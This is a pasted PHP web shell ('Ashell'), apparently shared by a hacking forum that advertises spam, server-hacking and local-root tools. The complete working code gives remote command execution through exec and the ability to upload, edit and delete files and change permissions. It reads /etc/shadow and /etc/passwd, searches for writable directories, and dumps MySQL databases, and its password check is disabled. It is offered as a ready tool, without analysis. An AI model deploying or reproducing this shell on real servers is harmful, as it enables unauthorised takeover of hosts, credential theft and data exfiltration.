· 9 years ago · Oct 30, 2016, 03:54 PM
1/* Php Shell Ashell Visit Us */
2Locker-it.com TeaM
3******************************************************************************
4Our Online Hacking Tools
5http://tools.locker-it.com/online.html
6******************************************************************************
7Spam Section
8http://tools.locker-it.com/spam.html
9******************************************************************************
10Site And Servers Hacking Section
11http://tools.locker-it.com/site.html
12******************************************************************************
13Pc Hacking Section
14http://tools.locker-it.com/pc.html
15******************************************************************************
16Local Root Section
17http://tools.locker-it.com/local.html
18******************************************************************************
19Our Forum LinK
20http://locker-it.com/vb/
21By
22(( Sn!per Wolf ))
23
24<?php
25
26 ## ## #
27 ## # ####
28 ## ## ## ##
29 ### ### ## #
30 ### ## ## ##
31 ## ### ## ##
32 # # ##
33 ### # ##
34 ### # ## ##
35 # ## ## ##
36 # #####
37 # ## ###
38 ## ### #
39 #######
40 #####
41
42//error_reporting(0);
43@ini_restore("safe_mode");
44@ini_restore("open_basedir");
45if(get_magic_quotes_gpc()){
46while(list($key,$val)=each($_POST)){
47$_POST[$key]=stripslashes($val);}}
48set_magic_quotes_runtime(0);
49@set_time_limit(0);
50@ini_set('max_execution_time',0);
51@ini_set('output_buffering',0);
52$name='1';
53$pass='c8d3a760ebab631565f8509d84b3b3f1';
54if(false){#esli nado pishem 'true'
55if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass){
56header('WWW-Authenticate: Basic realm="Auth"');header('HTTP/1.0 401 Unauthorized');
57exit;}}
58header("Cache-Control: no-store, no-cache, must-revalidate");
59header("Cache-Control: post-check=0, pre-check=0", false);
60header("Pragma: no-cache");
61function font($color,$text,$size=4){return("<font color=$color size=$size >$text</font>");}
62function w($a){return str_repeat(" ",$a);}
63function b($b){return "<b>$b</b>";}
64function e($e){switch($e){
65case 0:return('no such file');
66case 1:return('no such dirictory');
67case 2:return('permission denied');
68case 3:return('is not dirictory');
69case 4:return('is a dirictory');
70}}
71function test_file($filename){
72return(file_exists($filename)?(is_readable($filename)?false:font('red',e(2))):font('red',e(0)));}
73if(isset($_POST['downl']) && !empty($_POST['downf'])){
74if(!preg_match('/^\//',$_POST['downf'])){
75$_POST['downf']=$_POST['th'].'/'.$_POST['downf'];}
76if(!test_file($_POST['downf'])){
77if(!is_dir($_POST['downf'])){
78$fd=fopen($_POST['downf'], "rb");
79$nam=preg_replace('/.+\//','',$_POST['downf']);
80header("Content-Type: application/octet-stream; name=\"".$nam."\"");
81header("Content-Length: ".filesize($_POST['downf']));
82header("Content-disposition: attachment; filename=\"".$nam."\"");
83while(!feof($fd)){
84$buffer=fgets($fd,4096);
85echo $buffer;
86}
87fclose ($fd);
88exit;
89}
90else $error=font('red',e(4));
91}
92else $error=test_file($_POST['downf']);}
93if(isset($_POST['sql']) && !isset($_POST['exitsql'])){
94$text="<body bgcolor=#C2DDFF>
95<b>Mysql@server:user:pass:db</b>
96<form method='POST'>
97";
98$a=array('server','user','password','db');$i=-1;
99while($i++<3){
100$text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:'')."'>\n";}
101$text.="<input type='submit' name='sql' value='Connect'>
102<input type='submit' name='exitsql' value='Exit'>";
103$text="\n<body bgcolor=#C2DDFF>
104<b>Mysql@server:user:pass:db</b>
105<form method='POST'>\n";
106$a=array('srv','user','pass','db');$i=-1;
107while($i++<3){
108$text.= "<input type='text' name='".$a[$i]."' value='".((!empty($_POST[$a[$i]]))?$_POST[$a[$i]]:(($i==0)?'localhost':null))."'>\n";}
109$text.="<input type='submit' name='sql' value='Connect'><input type='submit' name='exitsql' value='Exit'>\n";
110if(isset($_POST['sql'])){
111if(isset($_POST['user']))$user=$_POST['user'];
112if(isset($_POST['pass']))$password=$_POST['pass'];
113if(isset($_POST['srv'])){
114$server=$_POST['srv'];
115$connect=mysql_connect($server,$user,$password) or die($text."</form>not connect");}
116else{die($text."</form>");}
117if(!empty($_POST['db'])){mysql_select_db($_POST['db'])or die("Could not select db<br>");}
118function write($data){
119switch($_POST['save']){
120case 0:
121global $dump;
122$dump.=$data;
123break;
124case 1:
125global $fp;
126switch($_POST['compr']){
127case 0:
128fwrite($fp,$data);
129break;
130case 1:
131gzwrite($fp, $data);
132break;
133case 2:
134bzwrite($fp,$data);
135break;}
136break;}}
137function sqlh(){
138global $dump,$server;
139write("#\n#Server : ".getenv('SERVER_NAME')."
140#DB_Host : ".$server."
141#DB : ".$_POST['db']."
142#Table : ".$_POST['table_sel']."\n#\n\n");}
143function sql(){
144global $dump,$connect;
145$row=mysql_fetch_row(mysql_query("SHOW CREATE TABLE `".$_POST['table_sel']."`",$connect));
146write("DROP TABLE IF EXISTS `".$_POST['table_sel']."`;\n".$row[1].";\n\n");}
147function sql1(){
148global $connect;
149$result=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
150function test($aaa){
151$d=array();
152while (list($key,$val)=each($aaa)){$d[$key]=addslashes($val);}
153return($d);}
154while ($line=mysql_fetch_assoc($result)) {
155((!isset($key))?($key=implode('`, `',array_keys($line))):null);
156$ddd=test(array_values($line));
157$val=implode('\', \'',$ddd);
158write("INSERT INTO `".$_POST['table_sel']."`(`".$key."`) VALUES ('".$val."');\n");}
159mysql_free_result($result);}
160function head($tmpfname,$name){
161header("Content-Type: application/octet-stream; name=\"$name\"");
162header("Content-Length: ".filesize($tmpfname)."");
163header("Content-disposition: attachment; filename=\"$name\"");
164$fd=fopen($tmpfname, "r");
165while(!feof($fd)){
166echo fgets($fd, 4096);}
167fclose($fd);
168unlink($tmpfname);
169exit;}
170if(isset($_POST['back']) && isset($_POST['table_sel'])){
171$dump='';
172if($_POST['save']==1){
173$tmpfname=tempnam($_POST['save_p'], "FOO");
174switch($_POST['compr']){
175case 0:
176$fp=fopen($tmpfname,"w");
177break;
178case 1:
179$fp=gzopen($tmpfname, "w9");
180break;
181case 2:
182$fp=bzopen($tmpfname, "w");
183break;}}
184switch($_POST['as']){
185case 0:
186switch($_POST['as_sql']){
187case 0:
188sqlh();
189sql();
190break;
191case 1:
192sqlh();
193sql();
194sql1();
195break;
196case 2:
197sqlh();
198sql1();
199break;}
200if($_POST['save']==1){
201switch($_POST['compr']){
202case 0:
203$n='.txt';
204fclose($fp);
205break;
206case 1:
207$n='.gz';
208gzclose($fp);
209break;
210case 2:
211$n='.bz2';
212bzclose($fp);
213break;}
214head($tmpfname,$_POST['table_sel'].$n);}
215break;
216case 1:
217$res=mysql_query("SELECT * FROM `".$_POST['table_sel']."`",$connect);
218if(mysql_num_rows($res) > 0) {
219while($row = mysql_fetch_assoc($res)) {
220$values = array_values($row);
221foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
222$values = implode($_POST['cvs_term'], $values);
223write($values);}}
224break;}}
225echo "$text\n<table height=200 width=100%><tr><td bgcolor=green width=10%>";
226$db_list=mysql_list_dbs($connect);
227echo "<select name='db' multiple size=30>\n";
228while($row=mysql_fetch_object($db_list)){
229$db1=$row->Database;
230echo "<option value='$db1' ".(($db1===$_POST['db'])?'selected':'').">$db1</option>\n";}
231echo "</select></td><td bgcolor=#CBC3B6>\n";
232if(!empty($_POST['db'])){
233$tb_list=mysql_list_tables($_POST['db']);
234echo "<select name='table_sel' multiple size=30>";
235for($i=0;$i<mysql_num_rows($tb_list);$i++){
236$n=mysql_fetch_array(mysql_query('select count(*) from '.mysql_tablename($tb_list,$i)));
237echo "<option value='".mysql_tablename($tb_list, $i)."'".($tr=((isset($_POST['table_sel']) && $_POST['table_sel']===mysql_tablename($tb_list, $i))?'selected':'')).">".mysql_tablename($tb_list, $i).'('.$n[0].")</option>";}
238echo "</select></td><td width=100%>
239<table width=100% height=100% bgcolor='#E3FFF2'><tr><td height=20 bgcolor=#dfdfdf width=100%><nobr>\n";
240if(isset($_POST['table_sel'])){
241$c=array('Browse','SQL','Insert','Export');$i=-1;
242while($i++<3){echo "<input type=radio Name='go' value='".($i)."'>".$c[$i];}}
243echo " <b>".((isset($_POST['table_sel']))?$_POST['table_sel']:null)."</b></nobr></td></tr><tr width=100%><td width=100%>\n";}
244if(isset($_POST['push']) && isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']))$_POST['go']=0;
245elseif(isset($_POST['push']))$_POST['go']=1;
246if(isset($_POST['back']))$_POST['go']=3;
247if(isset($_POST['brow']))$_POST['go']=0;
248if(isset($_POST['editr']) && isset($_POST['edit']))$_POST['go']=4;
249if(isset($_POST['ed_save']))$_POST['go']=5;
250if(isset($_POST['editr']) && !isset($_POST['edit']))$_POST['go']=0;
251if(isset($_POST['go'])){switch($_POST['go']){
252case 0:
253if(isset($_POST['querysql']) && preg_match('/^\s*select /i',$_POST['querysql']) && isset($_POST['push'])){
254$n=mysql_fetch_array(mysql_query(preg_replace('/^\s*select\s+.+\s+from\s+/i','select count(*) from',$_POST['querysql'])));
255$result=mysql_query($_POST['querysql'],$connect);}
256else{$n=mysql_fetch_array(mysql_query('select count(*) from '.$_POST['table_sel']));$sort='';
257if(!empty($_POST['sort']))$sort='ORDER BY `'.trim($_POST['sort']).'` ASC ';$co='0,20';
258if(isset($_POST['br_st']) && isset($_POST['br_en'])){
259$co=$_POST['br_en'].','.$_POST['br_st'];}
260$result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` $sort limit $co",$connect);}
261for($i=0;$i<mysql_num_fields($result);$i++){
262if(ereg('primary_key',mysql_field_flags($result, $i)))
263$prim=mysql_field_name($result, $i);}
264$up_e='';
265echo "<div style='width:100%;height:450px;overflow:auto;'><table border=1>\n";
266while($line=mysql_fetch_array($result,MYSQL_ASSOC)){echo "<tr bgcolor='#C1D2C5'>\n";
267if(!isset($lk)){
268echo "<td><b>EDIT</b></td>";
269foreach(array_keys($line) as $lk){print((isset($prim) && $lk===$prim)?"<td><u><b>$lk</b></u></td>":"<td>$lk</td>\n");}}
270if(!isset($prim)){
271while(list($key,$val)=each($line)){$up_e.="`$key`='".addslashes($val)."' and ";}
272$up_e=substr($up_e,0,-5);}
273else{while(list($key,$val)=each($line)){
274if($key===$prim){$up_e.="`$key`='".addslashes($val)."'";}}}
275$up_e=urlencode($up_e);
276echo "</tr><tr><td><input type=radio name=edit value='$up_e'></td>\n";
277$up_e='';
278foreach($line as $col_value){echo "<td>".((strlen($col_value)>40)?'<textarea cols=40 rows=7>'.htmlspecialchars($col_value).'</textarea>':htmlspecialchars($col_value))."</td>\n";}
279echo "</tr>\n";}
280echo "</table></div><input type=submit name='brow' value='Browse'><b>Sort by
281<input type=text name=sort size=10 value='".((isset($_POST['sort']))?$_POST['sort']:'')."'>
282Show <input type=text size=5 value=".((isset($_POST['br_st']))?$_POST['br_st']:$n[0])." name='br_st'>row(s) starting from<input type=text size=5 value=".((isset($_POST['br_en']))?$_POST['br_en']:'0')." name='br_en'></b>
283<input type=submit name=editr value=Edit>";
284mysql_free_result($result);
285break;
286case 1:
287echo "<input type=submit name=push value=Run><br>
288<textarea cols=70% rows=8 name='querysql'>\n".((!empty($_POST['querysql']))?htmlspecialchars($_POST['querysql'],ENT_QUOTES):((isset($_POST['table_sel']))?"SELECT * FROM `".$_POST['table_sel']."` WHERE 1":null))."</textarea><br><br>\n";
289if(!empty($_POST['querysql'])){
290$result = mysql_query($_POST['querysql'],$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
291echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";}
292break;
293case 2:
294echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";
295$fields=mysql_list_fields($_POST['db'],$_POST['table_sel'],$connect);
296for($i=0;$i<mysql_num_fields($fields);$i++){
297echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($fields,$i).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($fields, $i).'('.mysql_field_len($fields, $i).")</b></td><td>".((mysql_field_len($fields, $i)<40)?"<input type='text' name='ed_key:".mysql_field_name($fields,$i)."' value='' size=40>":"<textarea name='ed_key:".mysql_field_name($fields,$i)."' cols=31 rows=7></textarea>")."</td></tr>\n";}
298echo "</table></div><input type=hidden name=insert value=1><input type=submit name=ed_save value=Insert>";
299break;
300case 3:
301if(!isset($_POST['back']))echo '<table height=250 align="center"><TR><TD>
302<table height=100%>
303<tr><td bgcolor="#A8B8F1" width="100" height="20"><b> Export as</b></td></tr>
304<tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="0" checked><b> SQL</b></td></tr>
305<tr><td bgcolor="#D0E0FF" width="100" height="20"><input type=radio Name="as" value="1"><b> CSV</b></td></tr>
306<tr><td height=100%></td></tr>
307</table></TD><td>
308<table width="140" height=100%>
309<TR><TD bgcolor="#A8B8F1" height="20"><b> SQL</b></TD></TR>
310<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="0" ><b>Only structure</b></TD></TR>
311<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="1" checked><b>All</b></TD></TR>
312<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="as_sql" value="2"><b>Only data</b></TD></TR>
313<TR><TD bgcolor="#A8B8F1" height="20"><b>CSV</b></TD></TR>
314<TR><TD bgcolor="#D0E0FF" height="20"><b>Terminated </b><input size=2 type=text Name="cvs_term" value=":"></TD></TR>
315<tr><td height=100%></tb></tr>
316</table>
317</td><td>
318<table height=100%>
319<tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="0" checked><b> View</b></td></tr>
320<tr><td bgcolor="#E6D29C" width="100" height="20"><input type=radio Name="save" value="1"><b> Download</b></td></tr>
321<tr><td bgcolor="#E6D29C" width="130" height="40"><b> Temp path</b><br><input type=text Name="save_p" value="/tmp"></td></tr>
322<tr><td height=100%></td></tr>
323</table></td><td>
324<table width="120" height=100%>
325<TR><TD bgcolor="#A8B8F1" height="20"><b> Compression</b></TD></TR>
326<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="0" checked><b>None</b></TD></TR>'.
327((@function_exists('gzencode'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="1" ><b>Gzip</b></TD></TR>':'').
328((@function_exists('bzcompress'))?'<TR><TD bgcolor="#D0E0FF" height="20"><input type=radio Name="compr" value="2"><b>Bzip</b></TD></TR>
329<tr><td height=100%></td></tr>':'').'</table></td></TR>
330<tr><td><input type=submit value=backup name=back></td></tr>
331</table>';
332if(isset($_POST['back']) && isset($_POST['table_sel'])){
333if($_POST['save']==0){echo "<textarea cols=70 rows=10>".htmlspecialchars($dump)."</textarea>";}}
334break;
335case 4:
336if(isset($_POST['edit'])){
337$up_e=$_POST['edit'];
338echo "<input type=hidden name=edit value='$up_e'>";
339$up_e=urldecode($_POST['edit']);
340echo "<div style='width:100%;height:550;overflow:auto;'><table>\n";$fi=0;
341$result = mysql_query("SELECT * FROM `".$_POST['table_sel']."` WHERE $up_e",$connect);
342while($line=mysql_fetch_array($result,MYSQL_ASSOC)){
343foreach($line as $key=>$col_value) {
344echo "<tr><td bgcolor=#DBDCDD><b>".mysql_field_name($result,$fi).'</td><td bgcolor=#B9C3D7>'.mysql_field_type($result,$fi).'('.mysql_field_len($result,$fi).")</b></td><td>".((mysql_field_len($result,$fi)<40)?"<input type='text' name='ed_key:".mysql_field_name($result,$fi)."' value='".htmlspecialchars($col_value,ENT_QUOTES)."' size=40>":"<textarea name='ed_key:".mysql_field_name($result,$fi)."' cols=31 rows=7>".htmlspecialchars($col_value,ENT_QUOTES)."</textarea>")."</td></tr>\n";
345$fi++;}}
346echo "</table></div><input type=submit name=ed_save value=Save>";}
347break;
348case 5:
349$ted='';
350$_POST2=$_POST;# X.Z. zachem, xernya kakaeto :)
351while(list($key1,$val1)=each($_POST2)){
352if(preg_match('/ed_key:(.+)/',$key1,$m))
353{$ted.="`".$m[1]."`= '".addslashes($val1)."', ";}}
354$ted=substr($ted,0,-2);
355$query=((isset($_POST['insert']))?"INSERT":"UPDATE")." `".$_POST['table_sel']."` SET $ted ".((isset($_POST['insert']))?'':"WHERE ".urldecode($_POST['edit'])." LIMIT 1 ");
356echo "<div style='background-color:white;'>".htmlspecialchars($query,ENT_QUOTES)."</div><br>";
357$result = mysql_query($query,$connect) or print("<div style='background-color:red;'>".mysql_error($connect)."</div>");
358echo "<div style='background-color:green;'>".mysql_info($connect)."</div>";
359break;}}
360echo "</td></tr></table></td></tr></table><input type=hidden name=sql>\n";}
361else echo $text;
362echo "</form></body>";exit;}
363echo "<html><body bgcolor=white><center><table bgcolor=orange height=10 border=1><tr><td><nobr>".font('blue',@php_uname())."</nobr></td></tr></table><table bgcolor=orange height=10 border=1><tr><nobr><td>".font('blue','PHP:'.@phpversion())."</nobr></td><td><nobr>".font('blue',date('H:i:s l d F Y'))."</nobr></td><td><nobr>".font('blue',getenv('SERVER_ADDR'))."</nobr></td><td><nobr>".font('blue',getenv('REMOTE_ADDR'))."</nobr></td></tr></table><br></center>\n";
364if(!test_file('/etc/shadow'))echo font('red',b('shadow readable<br>'));
365if(!test_file('/etc/shadow-'))echo font('red',b('shadow- readable<br>'));
366if(!test_file('/etc/master.passwd'))echo font('red',b('master.passwd readable<br>'));
367if(!empty($_POST['th']))@chdir($_POST['th']);
368echo ((is_writable('/tmp/'))?font('green',"TEMP USE".w(1)):font('red',"TEMP NO USE"));
369#UP
370if(isset($_POST['up']))@chdir('../');
371#CD
372if(isset($_POST['c']) && $_POST['cd']!=''){
373if(!test_file($_POST['cd'])){
374if(is_dir($_POST['cd'])){
375@chdir($_POST['cd']);
376}
377else $error=font('red',e(3));
378}
379else $error=test_file($_POST['cd']);}
380echo w(3)."<input type=text size=60 value=".getcwd().">";
381echo font('blue','USER : '.get_current_user());
382if(file_exists("/"))
383echo((is_readable("/"))?w(2).font('green','DIR / - IS READ'):w(2).font('red','DIR / - IS NO READ'));
384if(file_exists("C:/"))
385echo((is_readable("C:/"))?w(2).font('green','DIR C:/ - IS READ'):w(2).font('red','DIR C:/ - IS NO READ'));
386if(ini_get('safe_mode'))echo w(2).font('red','SAFE MODE');
387echo "<br>";
388?>
389<hr>
390<form method=POST name=main>
391<input type="submit" value="^" name="up">
392<input type=text name=cd>
393<input type=submit value=cd name=c>
394<input type=text name=open>
395<input type=submit value=open name=op>
396<input type=text name=new>
397<input type=submit name=cr value="new file">
398<input type=text name=exec>
399<input type=submit name=exe value=exec>
400<input type=submit name=info value=phpinfo>
401<br>
402<?php
403$ar_file=array('/etc/passwd','/etc/shadow','/etc/master.passwd','/etc/fstab','/etc/hosts','/proc/version','/proc/cpuinfo','/proc/meminfo','/etc/httpd/conf/httpd.conf','/usr/local/apache/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/etc/syslog.conf');
404echo '<select name=passwd>';
405foreach($ar_file as $ar_l){
406if(!test_file($ar_l))echo "<option value='$ar_l'>$ar_l</option>\n";}
407echo '</select><input type=submit name=passw value="read file">';
408?>
409<input type=submit name=menu value=upload>
410<input type=text name=downf>
411<input type=submit name=downl value=download>
412<input type=text name="test">
413<input type=submit name=tes value="perms">
414<input type="submit" name="sql" value="mysql">
415<input type="submit" name="eval" value="eval">
416<br>
417<input type=text name=strin>
418<input type=text name=remot>
419<input type=submit name=copy value=copy>
420<input type="text" name="renold" >
421<input type="text" name="rennew" >
422<input type="submit" name="rename" value="rename">
423<input type=text name=rm >
424<input type=submit name=del value=del>
425<br>
426<input type=reset value=RESET>
427<input type="text" name="mkdir">
428<input type="submit" name="mk" value="mkdir">
429<input type="text" name="rmdir">
430<input type="submit" name="rmd" value="rmdir">
431<input type="text" name="ch_mod">
432<?php
433for($bch=1;$bch<=3;$bch++){echo"<select name=ch_p$bch>\n";
434for($ach=7;$ach>=0;$ach--){echo"<OPTION value=$ach>$ach</OPTION>";}
435echo"</select>";}
436?>
437<input type="submit" name="ch_chmod" value="chmod">
438<input type=submit name=find value='find writeable'>
439<br>
440<hr>
441<?php
442#FIND WRITEABLE##############
443if(isset($_POST['find'])){
444echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" checked>Only writeable:<input type=checkbox name="onw" checked><input type=submit name=fww value="Find it">');}
445if(isset($_POST['fww']) && !empty($_POST['fpath'])){
446echo b('Start path: <input type=text name=fpath>Only dir<input type=checkbox name="dy" '.(isset($_POST['dy'])?'checked':null).'>Only writeable:<input type=checkbox name="onw" '.(isset($_POST['onw'])?'checked':null).'><input type=submit name=fww value="Find it"><hr>');
447$arrfw=array($_POST['fpath']);
448$ife=0;
449while(++$ife<=count($arrfw)){
450$pathfw=$arrfw[$ife-1];
451if(is_readable($pathfw)){
452if($hfw=opendir($pathfw)){
453while(false!==($ffw=readdir($hfw))){
454$ffw=$pathfw.$ffw;
455if(!preg_match('/\/\.+$/',$ffw)){
456if(is_dir($ffw)){array_push($arrfw,$ffw.'/');}
457print(is_dir($ffw)?(is_writeable($ffw)?font('red',"$ffw/<br>",3) :(isset($_POST['onw'])?null:"$ffw/<br>")):(!isset($_POST['dy'])?(is_writeable($ffw)?font('green',"$ffw<br> ",3):(isset($_POST['onw'])?null:"$ffw<br>")):null));}}
458closedir($hfw);}}}}
459
460
461if(isset($_POST['eval'])){
462echo "<textarea cols=70 rows=7 name='ev'></textarea>\n";
463
464
465
466
467
468echo "";
469}
470############################################################################
471#RENAME
472if(isset($_POST['rename']) && $_POST['renold']<>'' && $_POST['rennew']<>''){
473if(file_exists($_POST['renold'])){
474@rename($_POST['renold'],$_POST['rennew']);
475}
476else $error=font('red',e(0));
477}
478#
479
480#RMDIR
481if(isset($_POST['rmd']) && isset($_POST['rmdir'])){
482if(file_exists($_POST['rmdir'])){
483if(is_dir($_POST['rmdir'])){
484if(@rmdir($_POST['rmdir'])) echo font('green',"dir ".b($_POST['rmdir'])." delet");
485else $error=font('red','dir not deleted');
486}
487else $error=font('red',e(3));
488}
489else $error=font('red',e(0));
490}
491#
492#CHMOD
493if(isset($_POST['ch_chmod']) && isset($_POST['ch_mod'])){
494if(file_exists($_POST['ch_mod'])){
495@chmod($_POST['ch_mod'],octdec($_POST['ch_p1'].$_POST['ch_p2'].$_POST['ch_p3']));}
496else $error=font('red',e(0));}
497#
498#DELETE
499if(isset($_POST['del']) && $_POST['rm']!=''){
500if(file_exists($_POST['rm'])){
501if(!is_dir($_POST['rm'])){
502@unlink($_POST['rm']);
503}
504else echo "<br>".font('red',e(4)."<br>");
505}
506else echo "<br>".font('red',e(0)."<br>");
507}
508#
509#EXEC
510if(!empty($_POST['exe'])){
511if(@exec($_POST['exec'],$ar)){
512echo "<textarea cols=70 rows=15>";
513foreach($ar as $line){
514echo $line."\n";
515}
516echo "</textarea>";}}
517#
518#OPEN FILE
519if(isset($_POST['op']) && $_POST['open']!=''){
520if(!test_file($_POST['open'])){
521if(!is_dir($_POST['open'])){
522$fil=file($_POST['open']);
523echo "<textarea cols=100 rows=20 name=edit>";
524foreach($fil as $vv){
525echo htmlspecialchars($vv);
526}
527echo "</textarea><br>".font('green',"FILE : ".$_POST['open'],3);
528if(is_writable($_POST['open'])==1){
529echo w(2).font('green','ACCESS GRANTED');
530echo "<input type=submit name=save value=save><input type=hidden value=".$_POST['open']." name=sv>";
531}}
532else $error=font('red',e(2));
533}
534else $error=test_file($_POST['open']);
535}
536if(isset($_POST['save'])){
537$fr=fopen($_POST['sv'],"w");
538$out=$_POST['edit'];
539fputs($fr,$out);
540fclose($fr);
541}
542#
543#CREATE FILE
544if(isset($_POST['cr']) && $_POST['new']!=''){
545if(is_writable(dirname($_POST['new']))){
546echo font('green',"Create new file : ".$_POST['new'],3)."<br><textarea name=newf cols=100 rows=20></textarea>
547<input type=submit name=cre value=create>
548<input type=hidden value=".$_POST['new']." name=nf>";
549}
550else echo "<br>".font('red',e(2)."<br>");
551}
552if(isset($_POST['cre'])){
553$ee=fopen($_POST['nf'],'w+');
554$out=$_POST['newf'];
555fputs($ee,$out);
556fclose($ee);
557}
558#
559#MKDIR
560if(isset($_POST['mk']) && $_POST['mkdir']!=''){
561if(is_writeable('./')){
562@mkdir($_POST['mkdir']);
563echo font('green',"dir ".b($_POST['mkdir'])." create");
564}
565else echo font('red',e(2));
566}
567#
568echo "<input type=hidden name=th value=".getcwd()."></form>";
569#UPLOAD FILE
570if(isset($_POST['menu']) || isset($_POST['qq'])){
571echo "
572<form enctype=multipart/form-data method=post>
573Save as :<input type=text name=name>File :<input name=userfile type=file>
574<input type=submit value=Send name=go_up>
575<input type=hidden name=qq>
576<input type=hidden name=th value=".getcwd()."></form>";
577if(isset($_POST['go_up'])){
578if(isset($_POST['name']) && $_POST['name']==''){
579$_POST['name']=$_FILES['userfile']['name'];}
580if(!preg_match('/^\//',$_POST['name'])){
581$_POST['name']=$_POST['th'].'/'.$_POST['name'];}
582if(is_uploaded_file($_FILES['userfile']['tmp_name'])){
583@copy($_FILES['userfile']['tmp_name'],$_POST['name']);}
584else echo "<br>".font('red',"Permisions denied");}}
585#
586#TEST PERM
587if(isset($_POST['tes']) && $_POST['test']!=''){
588$j=$_POST['test'];
589if(file_exists($j)){
590$w='';
591if(is_writeable($j)){
592$w=w(1).'WRITE'.w(1);
593}
594if(is_readable($j)){
595$w=$w.w(1).'READ'.w(1);
596}
597echo font('green',$w.sprintf("%o", (fileperms($_POST['test'])) & 0777));
598}
599else echo font('red',$e(0));
600}
601#
602#COPY
603if(isset($_POST['copy'])&& $_POST['strin']!='' && $_POST['remot']!=''){
604if(file_exists(dirname($_POST['remot']))){
605if(file_exists($_POST['strin'])){
606if(is_writable(dirname($_POST['remot']))){
607if(is_readable($_POST['strin'])){
608@copy($_POST['strin'],$_POST['remot']);
609}
610else echo font('red',"no read string file");
611}
612else echo font('red',"no write dest directory");
613}
614else echo font('red',"no such file");
615}
616else echo font('red',"no such dest dir");
617}
618#
619#CHECK DISK
620if(isset($_POST['free']) && $_POST['dirfree']!=''){
621if(file_exists($_POST['dirfree'])){
622$fre=@disk_free_space($_POST['dirfree'])/1048576;
623echo font('green',"Free space in ".b($_POST['dirfree'])." : ".$fre." Mb");
624$fre1=@disk_total_space($_POST['dirfree'])/1048576;
625echo "<br>".font('green',"Full size in ".b($_POST['dirfree'])." : ".$fre1." Mb");
626}
627else echo font('red',"No such disk");
628}
629#
630(isset($_POST['info']))?phpinfo():null;
631#
632#PASSWD
633if(!empty($_POST['passwd']) && isset($_POST['passw'])){
634echo "<center>".font('blue',"file : ".$_POST['passwd'],6)."</center><br><textarea cols=100 rows=15>\n";
635foreach(@file($_POST['passwd']) as $fed)echo $fed;
636echo "</textarea><br>\n";}
637#
638if(isset($error))echo $error;?>
639<hr><?php
640##################################################################################
641if(is_readable(getcwd())){
642if($h=opendir(getcwd())){
643$arr=array();
644while(false!==($f=readdir($h))){array_push ($arr,$f);}
645closedir($h);}}
646else die("<center>".b(font('red','FUNCTION LIST PERMISSION DENIED',6))."</center>");
647sort($arr);
648echo '<table width=800 bgcolor=#DFD6C8 cellspacing=0 cellpadding=0 border=1>';
649foreach($arr as $f){
650$l=@lstat($f);
651print((is_readable($f) && is_writeable($f))?"<tr><td>".w(1).b("R".w(1).font('red','RW',3)).w(1):(((is_readable($f))?"<tr><td>".w(1).b("R").w(4):"").((is_writable($f))?"<tr><td>".w(1).b(font('red','RW',3)):"")));
652$r=sprintf("%o",(@fileperms($f)) & 0777);
653$ow=posix_getpwuid($l[4]);
654$gr=posix_getgrgid($l[5]);
655$fow=($ow["name"]?$ow["name"]:fileowner($f))."/".($gr["name"]?$gr["name"]:filegroup($f));
656if(!is_readable($f) && !is_writeable($f)) echo "<tr><td>".w(12);
657echo "</td><td>$r</td><td>$fow</td>";
658if(!is_dir($f)){
659if(!is_link($f)){
660echo w(2)."<td><i>".$l[7]."</i></td>";}
661else echo "</td><td>link</td>";}
662else echo "</td><td>DIR</td>";
663$fi=htmlspecialchars($f);
664echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
665?>
666</table></body></html>
667<?php exit; ?>